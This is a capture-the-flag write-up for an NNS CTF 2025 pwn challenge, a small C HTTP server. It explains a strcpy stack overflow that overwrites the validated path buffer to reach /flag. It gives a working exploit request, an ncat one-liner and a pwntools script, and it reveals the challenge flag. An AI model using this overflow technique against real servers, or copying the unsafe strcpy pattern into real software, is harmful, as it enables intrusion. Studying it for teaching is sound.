NNS CTF: haatetepe, AAAAAAAAAAAAAA on the web

Challenge

The best haatetepe server in Norway comes with speed, small size and modular routing. I’ve disabled the /flag route for now, though. Check out the server and let me know what you think! I haven’t done any benchmarks, but I bet it’s faster than NGINX, and it uses less than 1MB memory!

It’s in its (very) early stages, but I’m planning on implementing the rest of the HTTP header specification when I get time. Thanks for stopping by!

  • Source: main.c
  • Category: pwn
  • Difficulty: easy
  • Flag: NNS{wh4t_d0_y0u_m34n_my_53rv3r_15n7_s3cur3?_4nd_n0_1_w0n7_u53_Rust}

A tiny HTTP server written in C with a strcpy-based stack overflow sitting right in the source. I made this one for NNS CTF 2025.

Vulnerability

In parse_request() the request method is copied into a fixed-size stack buffer with strcpy:

char method_str[16];
...
strcpy(method_str, header[0]);

header[0] is the request method straight from the client, so this overflows. The compiler placed the local path buffer right after method_str on the stack, and the order of operations is what makes it exploitable: path is checked against /flag before the overflow, then copied into req->path after it:

strncpy(path, header[1], sizeof(req->path) - 1);

/* don't even think about it */
if (strcmp(path, "/flag") == 0) {
    return -1;
}

strcpy(method_str, header[0]);
req->method = parse_method(method_str);
strcpy(req->path, path);

parse_method() only checks the prefix of the method with strncmp, so a method like GETaaaaaaaaaaaaa/flag still parses as GET. The route matcher later does an exact strcmp against /flag, so req->path has to be exactly /flag.

Exploit

GET plus 13 as is exactly 16 bytes, filling method_str to the brim. The overflow then writes precisely /flag\0 at the start of the adjacent path buffer, turning it into /flag after validation. Request:

GETaaaaaaaaaaaaa/flag / HTTP/1.1
echo "GETaaaaaaaaaaaaa/flag / HTTP/1.1" | ncat --ssl <instance> 8000

or in Python:

from pwn import remote

with remote("<instance>", 8000) as io:
    io.send(b"GET" + b"a" * 13 + b"/flag / HTTP/1.1\r\n\r\n")
    print(io.clean(1).decode("utf-8"))
Well of course you can have the flag! All you have to do is ask.
Flag: NNS{wh4t_d0_y0u_m34n_my_53rv3r_15n7_s3cur3?_4nd_n0_1_w0n7_u53_Rust}